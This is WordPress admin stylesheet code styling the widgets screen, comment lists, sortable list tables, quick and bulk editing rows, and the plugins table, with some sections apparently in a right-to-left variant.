/* Dragging a widget over a closed sidebar */
#widgets-right .widgets-holder-wrap.widget-hover {
	border-color: #787c82;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.3);
}

/* Accessibility Mode */
.widget-access-link {
	float: right;
	margin: -5px 0 10px 10px;
}

.widgets_access #widgets-left .widget .widget-top {
	cursor: auto;
}

.widgets_access #wpwrap .widgets-holder-wrap.closed .sidebar-description,
.widgets_access #wpwrap .widgets-holder-wrap.closed .widget,
.widgets_access #wpwrap .widget-control-edit {
	display: block;
}

.widgets_access #widgets-left .widget .widget-top:hover,
.widgets_access #widgets-right .widget .widget-top:hover {
	border-color: #dcdcde;
}

#available-widgets .widget-control-edit .edit,
#available-widgets .widget-action .edit,
#widgets-left .inactive-sidebar .widget-control-edit .add,
#widgets-left .inactive-sidebar .widget-action .add,
#widgets-right .widget-control-edit .add,
#widgets-right .widget-action .add {
	display: none;
}

.widget-control-edit {
	display: block;
	color: #646970;
	background: #f0f0f1;
	padding: 0 15px;
	line-height: 3.30769230;
	border-left: 1px solid #dcdcde;
}

#widgets-left .widget-control-edit:hover,
#widgets-right .widget-control-edit:hover {
	color: #fff;
	background: #3c434a;
	border-left: 0;
	outline: 1px solid #3c434a;
}

.widgets-holder-wrap .sidebar-name,
.widgets-holder-wrap .sidebar-description {
	-webkit-user-select: none;
	user-select: none;
}

.editwidget {
	margin: 0 auto;
}

.editwidget .widget-inside {
	display: block;
	padding: 0 15px;
}

.editwidget .widget-control-actions {
	margin-top: 20px;
}

.js .widgets-holder-wrap.closed .widget,
.js .widgets-holder-wrap.closed .sidebar-description,
.js .widgets-holder-wrap.closed .remove-inactive-widgets,
.js .widgets-holder-wrap.closed .description,
.js .closed br.clear {
	display: none;
}

.js .widgets-holder-wrap.closed .widget.ui-sortable-helper {
	display: block;
}

/* Hide Widget Settings by Default */
.widget-inside,
.widget-description {
	display: none;
}

.widget-inside {
	background: #fff;
}

.widget-inside select {
	max-width: 100%;
}

/* Dragging widgets over the available widget area show's a "Deactivate" message */
#removing-widget {
	display: none;
	font-weight: 400;
	padding-left: 15px;
	font-size: 12px;
	line-height: 1;
	color: #000;
}

.js #removing-widget {
	color: #72aee6;
}

.widget-control-noform,
#access-off,
.widgets_access .widget-action,
.widgets_access .handlediv,
.widgets_access #access-on,
.widgets_access .widget-holder .description,
.no-js .widget-holder .description {
	display: none;
}

.widgets_access .widget-holder,
.widgets_access #widget-list {
	padding-top: 10px;
}

.widgets_access #access-off {
	display: inline;
}

.widgets_access .sidebar-name,
.widgets_access .widget .widget-top {
	cursor: default;
}


/* Widgets Area Chooser */
.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
	transition: opacity 0.1s linear;
}

.widget-liquid-left #widgets-left.chooser #available-widgets .widget,
.widget-liquid-left #widgets-left.chooser .inactive-sidebar {
	/* -webkit-filter: blur(1px); */
	opacity: 0.2;
	pointer-events: none;
}

.widget-liquid-left #widgets-left.chooser #available-widgets .widget-in-question {
	/* -webkit-filter: none; */
	opacity: 1;
	pointer-events: auto;
}

.widgets-chooser ul,
#widgets-left .widget-in-question .widget-top,
#available-widgets .widget-top:hover,
div#widgets-right .widget-top:hover,
#widgets-left .widget-top:hover {
	border-color: #8c8f94;
	box-shadow: 0 1px 2px rgba(0, 0, 0, 0.1);
}

.widgets-chooser ul.widgets-chooser-sidebars {
	margin: 0;
	list-style-type: none;
	max-height: 300px;
	overflow: auto;
}

.widgets-chooser {
	display: none;
}

.widgets-chooser ul {
	border: 1px solid #c3c4c7;
}

.widgets-chooser li {
	border-bottom: 1px solid #c3c4c7;
	background: #fff;
	margin: 0;
	position: relative;
}

.widgets-chooser .widgets-chooser-button {
	width: 100%;
	padding: 10px 15px 10px 35px;
	background: transparent;
	border: 0;
	box-sizing: border-box;
	text-align: left;
	cursor: pointer;
	transition: background 0.2s ease-in-out;
}

/* @todo looks like these hover/focus states are overridden by .widgets-chooser-selected */
.widgets-chooser .widgets-chooser-button:hover,
.widgets-chooser .widgets-chooser-button:focus {
	outline: none;
	text-decoration: underline;
}

.widgets-chooser li:last-child {
	border: none;
}

.widgets-chooser .widgets-chooser-selected .widgets-chooser-button {
	background: #2271b1;
	color: #fff;
}

.widgets-chooser .widgets-chooser-selected:before {
	content: "\f147";
	display: block;
	-webkit-font-smoothing: antialiased;
	font: normal 26px/1 dashicons;
	color: #fff;
	position: absolute;
	top: 7px;
	left: 5px;
}

.widgets-chooser .widgets-chooser-actions {
	padding: 10px 0 12px;
	text-align: center;
}

#available-widgets .widget .widget-top {
	cursor: pointer;
}

#available-widgets .widget.ui-draggable-dragging .widget-top {
	cursor: move;
}

/* =Specific widget styling
-------------------------------------------------------------- */
.text-widget-fields {
	position: relative;
}
.text-widget-fields [hidden] {
	display: none;
}
.text-widget-fields .wp-pointer.wp-pointer-top {
	position: absolute;
	z-index: 3;
	top: 100px;
	right: 10px;
	left: 10px;
}
.text-widget-fields .wp-pointer .wp-pointer-arrow {
	left: auto;
	right: 15px;
}
.text-widget-fields .wp-pointer .wp-pointer-buttons {
	line-height: 1.4;
}

.custom-html-widget-fields > p > .CodeMirror {
	border: 1px solid #dcdcde;
}
.custom-html-widget-fields code {
	padding-top: 1px;
	padding-bottom: 1px;
}
ul.CodeMirror-hints {
	z-index: 101; /* Due to z-index 100 set on .widget.open */
}
.widget-control-actions .custom-html-widget-save-button.button.validation-blocked {
	cursor: not-allowed;
}

/* =Media Queries
-------------------------------------------------------------- */

@media screen and (max-width: 782px) {
	.widgets-holder-wrap .widget-inside input[type="checkbox"],
	.widgets-holder-wrap .widget-inside input[type="radio"],
	.editwidget .widget-inside input[type="checkbox"], /* Selectors for the "accessibility mode" page. */
	.editwidget .widget-inside input[type="radio"] {
		margin: 0.25rem 0.25rem 0.25rem 0;
	}
}

@media screen and (max-width: 480px) {
	div.widget-liquid-left {
		width: 100%;
		float: none;
		border-right: none;
		padding-right: 0;
	}

	#widgets-left .sidebar-name {
		margin-right: 0;
	}

	#widgets-left #available-widgets .widget-top {
		margin-right: 0;
	}

	#widgets-left .inactive-sidebar .widgets-sortables {
		margin-right: 0;
	}

	div.widget-liquid-right {
		width: 100%;
		float: none;
	}

	div.widget {
		max-width: 480px;
	}

	.widget-access-link {
		float: none;
		margin: 15px 0 0;
	}
}

@media screen and (max-width: 320px) {
	div.widget {
		max-width: 320px;
	}
}

@media only screen and (min-width: 1250px) {
	#widgets-left #available-widgets .widget {
		width: 49%;
		float: left;
	}

	.widget.ui-draggable-dragging {
		min-width: 49%;
	}

	#widgets-left #available-widgets .widget:nth-child(even) {
		float: right;
	}

	#widgets-right .sidebars-column-1,
	#widgets-right .sidebars-column-2 {
		float: left;
		width: 49%;
	}

	#widgets-right .sidebars-column-1 {
		margin-right: 2%;
	}

	#widgets-right.single-sidebar .sidebars-column-1,
	#widgets-right.single-sidebar .sidebars-column-2 {
		float: none;
		width: 100%;
		margin: 0;
	}
}
/*! This file is auto-generated */
.response-links {
	display: block;
	margin-bottom: 1em;
}

.response-links a {
	display: block;
}

.response-links a.comments-edit-item-link {
	font-weight: 600;
}

.response-links a.comments-view-item-link {
	font-size: 12px;
}

.post-com-count-wrapper strong {
	font-weight: 400;
}

.comments-view-item-link {
	display: inline-block;
	clear: both;
}

.column-response .post-com-count-wrapper,
.column-comments .post-com-count-wrapper {
	white-space: nowrap;
	word-wrap: normal;
}

/* comments bubble common */
.column-response .post-com-count,
.column-comments .post-com-count {
	display: inline-block;
	vertical-align: top;
}

/* comments bubble approved */
.column-response .post-com-count-no-comments,
.column-response .post-com-count-approved,
.column-comments .post-com-count-no-comments,
.column-comments .post-com-count-approved {
	margin-top: 5px;
}

.column-response .comment-count-no-comments,
.column-response .comment-count-approved,
.column-comments .comment-count-no-comments,
.column-comments .comment-count-approved {
	box-sizing: border-box;
	display: block;
	padding: 0 8px;
	min-width: 24px;
	height: 2em;
	border-radius: 5px;
	background-color: #646970;
	color: #fff;
	font-size: 11px;
	line-height: 1.90909090;
	text-align: center;
}

.column-response .post-com-count-no-comments:after,
.column-response .post-com-count-approved:after,
.column-comments .post-com-count-no-comments:after,
.column-comments .post-com-count-approved:after {
	content: "";
	display: block;
	margin-right: 8px;
	width: 0;
	height: 0;
	border-top: 5px solid #646970;
	border-left: 5px solid transparent;
}

.column-response a.post-com-count-approved:hover .comment-count-approved,
.column-response a.post-com-count-approved:focus .comment-count-approved,
.column-comments a.post-com-count-approved:hover .comment-count-approved,
.column-comments a.post-com-count-approved:focus .comment-count-approved {
	background: #2271b1;
}

.column-response a.post-com-count-approved:hover:after,
.column-response a.post-com-count-approved:focus:after,
.column-comments a.post-com-count-approved:hover:after,
.column-comments a.post-com-count-approved:focus:after {
	border-top-color: #2271b1;
}

/* @todo: consider to use a single rule for these counters and the admin menu counters. */
.column-response .post-com-count-pending,
.column-comments .post-com-count-pending {
	position: relative;
	right: -3px;
	padding: 0 5px;
	min-width: 7px;
	height: 17px;
	border: 2px solid #fff;
	border-radius: 11px;
	background: #d63638;
	color: #fff;
	font-size: 9px;
	line-height: 1.88888888;
	text-align: center;
}

.column-response .post-com-count-no-pending,
.column-comments .post-com-count-no-pending {
	display: none;
}

/* comments */

.commentlist li {
	padding: 1em 1em .2em;
	margin: 0;
	border-bottom: 1px solid #c3c4c7;
}

.commentlist li li {
	border-bottom: 0;
	padding: 0;
}

.commentlist p {
	padding: 0;
	margin: 0 0 .8em;
}

#submitted-on,
.submitted-on {
	color: #50575e;
}

/* reply to comments */
#replyrow td {
	padding: 2px;
}

#replysubmit {
	margin: 0;
	padding: 5px 7px 10px;
	overflow: hidden;
}

#replysubmit .reply-submit-buttons {
	margin-bottom: 0;
}

#replysubmit .button {
	margin-left: 5px;
}

#replysubmit .spinner {
	float: none;
	margin: -4px 0 0;
}

#replyrow.inline-edit-row fieldset.comment-reply {
	font-size: inherit;
	line-height: inherit;
}

#replyrow legend {
	margin: 0;
	padding: .2em 5px 0;
	font-size: 13px;
	line-height: 1.4;
	font-weight: 600;
}

#replyrow.inline-edit-row label {
	display: inline;
	vertical-align: baseline;
	line-height: inherit;
}

#edithead .inside,
#commentsdiv #edithead .inside {
	float: right;
	padding: 3px 5px 2px 0;
	margin: 0;
	text-align: center;
}

#edithead .inside input {
	width: 180px;
}

#edithead label {
	padding: 2px 0;
}

#replycontainer {
	padding: 5px;
}

#replycontent {
	height: 120px;
	box-shadow: none;
}

#replyerror {
	border-color: #dcdcde;
	background-color: #f6f7f7;
}

/* @todo: is this used? */
.commentlist .avatar {
	vertical-align: text-top;
}

#the-comment-list tr.undo,
#the-comment-list div.undo {
	background-color: #f6f7f7;
}

#the-comment-list .unapproved th,
#the-comment-list .unapproved td {
	background-color: #fcf9e8;
}

#the-comment-list .unapproved th.check-column {
	border-right: 4px solid #d63638;
}

#the-comment-list .unapproved th.check-column input {
	margin-right: 4px;
}

#the-comment-list .approve a {
	color: #007017;
}

#the-comment-list .unapprove a {
	color: #996800;
}

#the-comment-list th,
#the-comment-list td {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

#the-comment-list tr:last-child th,
#the-comment-list tr:last-child td {
	box-shadow: none;
}

#the-comment-list tr.unapproved + tr.approved th,
#the-comment-list tr.unapproved + tr.approved td {
	border-top: 1px solid rgba(0, 0, 0, 0.03);
}

/* table vim shortcuts */
.vim-current,
.vim-current th,
.vim-current td {
	background-color: #f0f6fc !important;
}

th .comment-grey-bubble {
	width: 16px;
	/* Make sure the link clickable area fills the entire table header. */
	position: relative;
	top: 2px;
}

th .comment-grey-bubble:before {
	content: "\f101";
	font: normal 20px/.5 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: 4px;
	right: -4px;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #3c434a;
}

/*------------------------------------------------------------------------------
  10.0 - List Posts (/Pages/etc)
------------------------------------------------------------------------------*/

table.fixed {
	table-layout: fixed;
}

.fixed .column-rating,
.fixed .column-visible {
	width: 8%;
}

.fixed .column-posts,
.fixed .column-parent,
.fixed .column-links,
.fixed .column-author,
.fixed .column-format {
	width: 10%;
}

.fixed .column-date {
	width: 14%;
}

.column-date span[title] {
	-webkit-text-decoration: dotted underline;
	text-decoration: dotted underline;
}

.fixed .column-posts {
	width: 74px;
}

.fixed .column-role,
.fixed .column-posts {
	-webkit-hyphens: auto;
	hyphens: auto;
}

.fixed .column-comment .comment-author {
	display: none;
}

.fixed .column-response,
.fixed .column-categories,
.fixed .column-tags,
.fixed .column-rel,
.fixed .column-role {
	width: 15%;
}

.fixed .column-slug {
	width: 25%;
}

.fixed .column-locations {
	width: 35%;
}

.fixed .column-comments {
	width: 5.5em;
	text-align: right;
}

.fixed .column-comments .vers {
	padding-right: 3px;
}

td.column-title strong,
td.plugin-title strong {
	display: block;
	margin-bottom: .2em;
	font-size: 14px;
}

td.column-title p,
td.plugin-title p {
	margin: 6px 0;
}

/* Media file column */
table.media .column-title .media-icon {
	float: right;
	min-height: 60px;
	margin: 0 0 0 9px;
}

table.media .column-title .media-icon img {
	max-width: 60px;
	height: auto;
	vertical-align: top; /* Remove descender white-space. */
}

table.media .column-title .has-media-icon ~ .row-actions {
	margin-right: 70px; /* 60px image + margin */
}

table.media .column-title .filename {
	margin-bottom: 0.2em;
}

/* Media Copy to clipboard row action */
.media .row-actions .copy-to-clipboard-container {
	display: inline;
	position: relative;
}

.media .row-actions .copy-to-clipboard-container .success {
	position: absolute;
	right: 50%;
	transform: translate(50%, -100%);
	background: #000;
	color: #fff;
	border-radius: 5px;
	margin: 0;
	padding: 2px 5px;
}

/* @todo: pick a consistent list table selector */
.wp-list-table a {
	transition: none;
}

#the-list tr:last-child td,
#the-list tr:last-child th {
	border-bottom: none !important;
	box-shadow: none;
}

#comments-form .fixed .column-author {
	width: 20%;
}

#commentsdiv.postbox .inside {
	margin: 0;
	padding: 0;
}

#commentsdiv .inside .row-actions {
	line-height: 1.38461538;
}

#commentsdiv .inside .column-author {
	width: 25%;
}

#commentsdiv .column-comment p {
	margin: 0.6em 0;
	padding: 0;
}

#commentsdiv #replyrow td {
	padding: 0;
}

#commentsdiv p {
	padding: 8px 10px;
	margin: 0;
}

#commentsdiv .comments-box {
	border: 0 none;
}

#commentsdiv .comments-box thead th,
#commentsdiv .comments-box thead td {
	background: transparent;
	padding: 0 7px 4px;
}

#commentsdiv .comments-box tr:last-child td {
	border-bottom: 0 none;
}

#commentsdiv #edithead .inside input {
	width: 160px;
}

.sorting-indicators {
	display: grid;
}

.sorting-indicator {
	display: block;
	width: 10px;
	height: 4px;
	margin-top: 4px;
	margin-right: 7px;
}

.sorting-indicator:before {
	font: normal 20px/1 dashicons;
	speak: never;
	display: inline-block;
	padding: 0;
	top: -4px;
	right: -8px;
	line-height: 0.5;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #a7aaad;
}

.sorting-indicator.asc:before {
	content: "\f142";
}

.sorting-indicator.desc:before {
	content: "\f140";
}

th.sorted.desc .sorting-indicator.desc:before {
	color: #1d2327;
}

th.sorted.asc .sorting-indicator.asc:before {
	color: #1d2327;
}

th.sorted.asc a:focus .sorting-indicator.asc:before,
th.sorted.asc:hover .sorting-indicator.asc:before,
th.sorted.desc a:focus .sorting-indicator.desc:before,
th.sorted.desc:hover .sorting-indicator.desc:before {
	color: #a7aaad;
}

th.sorted.asc a:focus .sorting-indicator.desc:before,
th.sorted.asc:hover .sorting-indicator.desc:before,
th.sorted.desc a:focus .sorting-indicator.asc:before,
th.sorted.desc:hover .sorting-indicator.asc:before {
	color: #1d2327;
}

.wp-list-table .toggle-row {
	position: absolute;
	left: 8px;
	top: 10px;
	display: none;
	padding: 0;
	width: 40px;
	height: 40px;
	border: none;
	outline: none;
	background: transparent;
}

.wp-list-table .toggle-row:hover {
	cursor: pointer;
}

.wp-list-table .toggle-row:focus:before {
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.wp-list-table .toggle-row:active {
	box-shadow: none;
}

.wp-list-table .toggle-row:before {
	position: absolute;
	top: -5px;
	right: 10px;
	border-radius: 50%;
	display: block;
	padding: 1px 0 1px 2px;
	color: #3c434a; /* same as table headers sort arrows */
	content: "\f140";
	font: normal 20px/1 dashicons;
	line-height: 1;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	speak: never;
}

.wp-list-table .is-expanded .toggle-row:before {
	content: "\f142";
}

.check-column {
	position: relative;
}

.check-column label {
	box-sizing: border-box;
	width: 100%;
	height: 100%;
	display: block;
	position: absolute;
	top: 0;
	right: 0;
}

.check-column input {
	position: relative;
	z-index: 1;
}

.check-column .label-covers-full-cell:hover + input:not(:disabled) {
	box-shadow: 0 0 0 1px #2271b1;
}

.check-column label:hover,
.check-column input:hover + label {
	background: rgba(0, 0, 0, 0.05);
}

.locked-indicator {
	display: none;
	margin-right: 6px;
	height: 20px;
	width: 16px;
}

.locked-indicator-icon:before {
	color: #8c8f94;
	content: "\f160";
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.locked-info {
	display: none;
	margin-top: 4px;
}

.locked-text {
	vertical-align: top;
}

.wp-locked .locked-indicator,
.wp-locked .locked-info {
	display: block;
}

tr.wp-locked .check-column label,
tr.wp-locked .check-column input[type="checkbox"],
tr.wp-locked .row-actions .inline,
tr.wp-locked .row-actions .trash {
	display: none;
}

#menu-locations-wrap .widefat {
	width: 60%;
}

.widefat th.sortable,
.widefat th.sorted {
	padding: 0;
}

th.sortable a,
th.sorted a {
	display: block;
	overflow: hidden;
	padding: 8px;
}

th.sortable a:focus,
th.sorted a:focus {
	box-shadow: inset 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

th.sortable a span,
th.sorted a span {
	float: right;
	cursor: pointer;
}

.tablenav-pages .current-page {
	margin: 0 0 0 2px;
	font-size: 13px;
	text-align: center;
}

.tablenav .total-pages {
	margin-left: 2px;
}

.tablenav #table-paging {
	margin-right: 2px;
}

.tablenav {
	clear: both;
	height: 30px;
	margin: 6px 0 4px;
	padding-top: 5px;
	vertical-align: middle;
}

.tablenav.themes {
	max-width: 98%;
}

.tablenav .tablenav-pages {
	float: left;
	margin: 0 0 9px;
}

.tablenav .no-pages,
.tablenav .one-page .pagination-links {
	display: none;
}

.tablenav .tablenav-pages .button,
.tablenav .tablenav-pages .tablenav-pages-navspan {
	display: inline-block;
	vertical-align: baseline;
	min-width: 30px;
	min-height: 30px;
	margin: 0;
	padding: 0 4px;
	font-size: 16px;
	line-height: 1.625; /* 26px */
	text-align: center;
}

.tablenav .displaying-num {
	margin-left: 7px;
}

.tablenav .one-page .displaying-num {
	display: inline-block;
	margin: 5px 0;
}

.tablenav .actions {
	padding: 0 0 0 8px;
}

.wp-filter .actions {
	display: inline-block;
	vertical-align: middle;
}

.tablenav .delete {
	margin-left: 20px;
}

/* This view-switcher is still used on multisite. */
.tablenav .view-switch {
	float: left;
	margin: 0 5px;
	padding-top: 3px;
}

.wp-filter .view-switch {
	display: inline-block;
	vertical-align: middle;
	padding: 12px 0;
	margin: 0 2px 0 8px;
}

.media-toolbar.wp-filter .view-switch {
	margin: 0 2px 0 12px;
}

.view-switch a {
	float: right;
	width: 28px;
	height: 28px;
	text-align: center;
	line-height: 1.84615384;
	text-decoration: none;
}

.view-switch a:before {
	color: #c3c4c7;
	display: inline-block;
	font: normal 20px/1 dashicons;
	speak: never;
	vertical-align: middle;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}

.view-switch a:hover:before,
.view-switch a:focus:before {
	color: #787c82;
}

.view-switch a.current:before {
	color: #2271b1;
}

.view-switch .view-list:before {
	content: "\f163";
}

.view-switch .view-excerpt:before {
	content: "\f164";
}

.view-switch .view-grid:before {
	content: "\f509";
}

.filter {
	float: right;
	margin: -5px 10px 0 0;
}

.filter .subsubsub {
	margin-right: -10px;
	margin-top: 13px;
}
.screen-per-page {
	width: 4em;
}

#posts-filter .wp-filter {
	margin-bottom: 0;
}

#posts-filter fieldset {
	float: right;
	margin: 0 0 1em 1.5ex;
	padding: 0;
}

#posts-filter fieldset legend {
	padding: 0 1px .2em 0;
}

p.pagenav {
	margin: 0;
	display: inline;
}

.pagenav span {
	font-weight: 600;
	margin: 0 6px;
}

.row-title {
	font-size: 14px !important;
	font-weight: 600;
}

.column-comment .comment-author {
	margin-bottom: 0.6em;
}

.column-author img,
.column-username img,
.column-comment .comment-author img {
	float: right;
	margin-left: 10px;
	margin-top: 1px;
}

.row-actions {
	color: #a7aaad;
	font-size: 13px;
	padding: 2px 0 0;
	position: relative;
	right: -9999em;
}

/* ticket #34150 */
.rtl .row-actions a {
	display: inline-block;
}

.row-actions .network_only,
.row-actions .network_active {
	color: #000;
}

.no-js .row-actions,
tr:hover .row-actions,
.mobile .row-actions,
.row-actions.visible,
.comment-item:hover .row-actions {
	position: static;
}

/* deprecated */
.row-actions-visible {
	padding: 2px 0 0;
}


/*------------------------------------------------------------------------------
  10.1 - Inline Editing
------------------------------------------------------------------------------*/

/*
.quick-edit* is for Quick Edit
.bulk-edit* is for Bulk Edit
.inline-edit* is for everything
*/

/*	Layout */

#wpbody-content .inline-edit-row fieldset {
	float: right;
	margin: 0;
	padding: 0 0 0 12px;
	width: 100%;
	box-sizing: border-box;
}

#wpbody-content .inline-edit-row td fieldset:last-of-type {
	padding-left: 0;
}

tr.inline-edit-row td {
	padding: 0;
	/* Prevents the focus style on .inline-edit-wrapper from being cutted-off */
	position: relative;
}

.inline-edit-wrapper {
	display: flow-root;
	padding: 0 12px;
	border: 1px solid transparent;
	border-radius: 4px;
}

.inline-edit-wrapper:focus {
	border-color: #2271b1;
	box-shadow: 0 0 0 1px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

#wpbody-content .quick-edit-row-post .inline-edit-col-left {
	width: 40%;
}

#wpbody-content .quick-edit-row-post .inline-edit-col-right {
	width: 39%;
}

#wpbody-content .inline-edit-row-post .inline-edit-col-center {
	width: 20%;
}

#wpbody-content .quick-edit-row-page .inline-edit-col-left {
	width: 50%;
}

#wpbody-content .quick-edit-row-page .inline-edit-col-right,
#wpbody-content .bulk-edit-row-post .inline-edit-col-right {
	width: 50%;
}

#wpbody-content .bulk-edit-row .inline-edit-col-left {
	width: 30%;
}

#wpbody-content .bulk-edit-row-page .inline-edit-col-right {
	width: 69%;
}

#wpbody-content .bulk-edit-row .inline-edit-col-bottom {
	float: left;
	width: 69%;
}

#wpbody-content .inline-edit-row-page .inline-edit-col-right {
	margin-top: 27px;
}

.inline-edit-row fieldset .inline-edit-group {
	clear: both;
	line-height: 2.5;
}

.inline-edit-row .submit {
	display: flex;
	flex-wrap: wrap;
	align-items: center;
	clear: both;
	margin: 0;
	padding: 0.5em 0 1em;
}

.inline-edit-save.submit .button {
	margin-left: 8px;
}

.inline-edit-save .spinner {
	float: none;
	margin: 0;
}

.inline-edit-row .notice-error {
	box-sizing: border-box;
	min-width: 100%;
	margin-top: 1em;
}

.inline-edit-row .notice-error .error {
	margin: 0.5em 0;
	padding: 2px;
}

/*	Positioning */

/* Needs higher specificity for the padding */
#the-list .inline-edit-row .inline-edit-legend {
	margin: 0;
	padding: 0.2em 0;
	line-height: 2.5;
	font-weight: 600;
}

.inline-edit-row fieldset span.title,
.inline-edit-row fieldset span.checkbox-title {
	margin: 0;
	padding: 0;
}

.inline-edit-row fieldset label,
.inline-edit-row fieldset span.inline-edit-categories-label {
	display: block;
	margin: .2em 0;
	line-height: 2.5;
}

.inline-edit-row fieldset.inline-edit-date label {
	display: inline-block;
	margin: 0;
	vertical-align: baseline;
	line-height: 2;
}

.inline-edit-row fieldset label.inline-edit-tags {
	margin-top: 0;
}

.inline-edit-row fieldset label.inline-edit-tags span.title {
	margin: .2em 0;
	width: auto;
}

.inline-edit-row fieldset label span.title,
.inline-edit-row fieldset.inline-edit-date legend {
	display: block;
	float: right;
	width: 6em;
	line-height: 2.5;
}

#posts-filter fieldset.inline-edit-date legend {
	padding: 0;
}

.inline-edit-row fieldset label span.input-text-wrap,
.inline-edit-row fieldset .timestamp-wrap {
	display: block;
	margin-right: 6em;
}

.quick-edit-row-post fieldset.inline-edit-col-right label span.title {
	width: auto;
	padding-left: 0.5em;
}

.inline-edit-row .inline-edit-or {
	margin: .2em 0 .2em 6px;
	line-height: 2.5;
}

.inline-edit-row .input-text-wrap input[type=text] {
	width: 100%;
}

.inline-edit-row fieldset label input[type=checkbox] {
	vertical-align: middle;
}

.inline-edit-row fieldset label textarea {
	width: 100%;
	height: 4em;
	vertical-align: top;
}

#wpbody-content .bulk-edit-row fieldset .inline-edit-group label {
	max-width: 50%;
}

#wpbody-content .quick-edit-row fieldset .inline-edit-group label.alignleft:first-child {
	margin-left: 0.5em
}

.inline-edit-col-right .input-text-wrap input.inline-edit-menu-order-input {
	width: 6em;
}

/*	Styling */
.inline-edit-row .inline-edit-legend {
	text-transform: uppercase;
}

/*	Specific Elements */
.inline-edit-row fieldset .inline-edit-date {
	float: right;
}

.inline-edit-row fieldset input[name=jj],
.inline-edit-row fieldset input[name=hh],
.inline-edit-row fieldset input[name=mn],
.inline-edit-row fieldset input[name=aa] {
	vertical-align: middle;
	text-align: center;
	padding: 0 4px;
}

.inline-edit-row fieldset label input.inline-edit-password-input {
	width: 8em;
}

#bulk-titles-list,
#bulk-titles-list li,
.inline-edit-row fieldset ul.cat-checklist li,
.inline-edit-row fieldset ul.cat-checklist input {
	margin: 0;
	position: relative; /* RTL fix, #WP27629 */
}

.inline-edit-row fieldset ul.cat-checklist input {
	margin-top: -1px;
	margin-right: 3px;
}

.inline-edit-row fieldset label input.inline-edit-menu-order-input {
	width: 3em;
}

.inline-edit-row fieldset label input.inline-edit-slug-input {
	width: 75%;
}

.inline-edit-row #post_parent,
.inline-edit-row select[name="page_template"] {
	max-width: 80%;
}

.quick-edit-row-post fieldset label.inline-edit-status {
	float: right;
}

#bulk-titles,
ul.cat-checklist {
	height: 14em;
	border: 1px solid #ddd;
	margin: 0 0 5px;
	padding: 0.2em 5px;
	overflow-y: scroll;
}

ul.cat-checklist input[name="post_category[]"]:indeterminate::before {
	content: '';
	border-top: 2px solid grey;
	width: 65%;
	height: 2px;
	position: absolute;
	top: calc( 50% + 1px );
	right: 50%;
	transform: translate( 50%, -50% );
}

#bulk-titles .ntdelbutton,
#bulk-titles .ntdeltitle,
.inline-edit-row fieldset ul.cat-checklist label {
	display: inline-block;
	margin: 0;
	padding: 3px 0;
	line-height: 20px;
	vertical-align: top;
}

#bulk-titles .ntdelitem {
	padding-right: 23px;
}

#bulk-titles .ntdelbutton {
	width: 26px;
	height: 26px;
	margin: 0 -26px 0 0;
	text-align: center;
	border-radius: 3px;
}

#bulk-titles .ntdelbutton:before {
	display: inline-block;
	vertical-align: top;
}

#bulk-titles .ntdelbutton:focus {
	box-shadow: 0 0 0 2px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
	/* Reset inherited offset from Gutenberg */
	outline-offset: 0;
}

/*------------------------------------------------------------------------------
  17.0 - Plugins
------------------------------------------------------------------------------*/

.plugins tbody th.check-column,
.plugins tbody {
	padding: 8px 2px 0 0;
}

.plugins tbody th.check-column input[type=checkbox] {
	margin-top: 4px;
}

.updates-table .plugin-title p {
	margin-top: 0;
}

.plugins thead td.check-column,
.plugins tfoot td.check-column,
.plugins .inactive th.check-column {
	padding-right: 6px;
}

.plugins,
.plugins th,
.plugins td {
	color: #000;
}

.plugins tr {
	background: #fff;
}

.plugins p {
	margin: 0 4px;
	padding: 0;
}

.plugins .desc p {
	margin: 0 0 8px;
}

.plugins td.desc {
	line-height: 1.5;
}

.plugins .desc ul,
.plugins .desc ol {
	margin: 0 2em 0 0;
}

.plugins .desc ul {
	list-style-type: disc;
}

.plugins .row-actions {
	font-size: 13px;
	padding: 0;
}

.plugins .inactive td,
.plugins .inactive th,
.plugins .active td,
.plugins .active th {
	padding: 10px 9px;
}

.plugins .active td,
.plugins .active th {
	background-color: #f0f6fc;
}

.plugins .update th,
.plugins .update td {
	border-bottom: 0;
}

.plugins .inactive td,
.plugins .inactive th,
.plugins .active td,
.plugins .active th,
.plugin-install #the-list td,
.upgrade .plugins td,
.upgrade .plugins th {
	box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.1);
}

.plugins tr.active.plugin-update-tr + tr.inactive th,
.plugins tr.active.plugin-update-tr + tr.inactive td,
.plugins tr.active + tr.inactive th,
.plugins tr.active + tr.inactive td {
	border-top: 1px solid rgba(0, 0, 0, 0.03);
	box-shadow: inset 0 1px 0 rgba(0, 0, 0, 0.02), inset 0 -1px 0 #dcdcde;
}

.plugins .update td,
.plugins .update th,
.upgrade .plugins tr:last-of-type td,
.upgrade .plugins tr:last-of-type th,
.plugins tr.active + tr.inactive.update th,
.plugins tr.active + tr.inactive.update td,
.plugins .updated td,
.plugins .updated th,
.plugins tr.active + tr.inactive.updated th,
.plugins tr.active + tr.inactive.updated td {
	box-shadow: none;
}

.plugins .active th.check-column,
.plugin-update-tr.active td {
	border-right: 4px solid #72aee6;
}

.wp-list-table.plugins .plugin-title,
.wp-list-table.plugins .theme-title {
	padding-left: 12px;
	white-space: nowrap;
}

.plugins .plugin-title img,
.plugins .plugin-title .dashicons {
	float: right;
	padding: 0 0 0 10px;
	width: 64px;
	height: 64px;
}

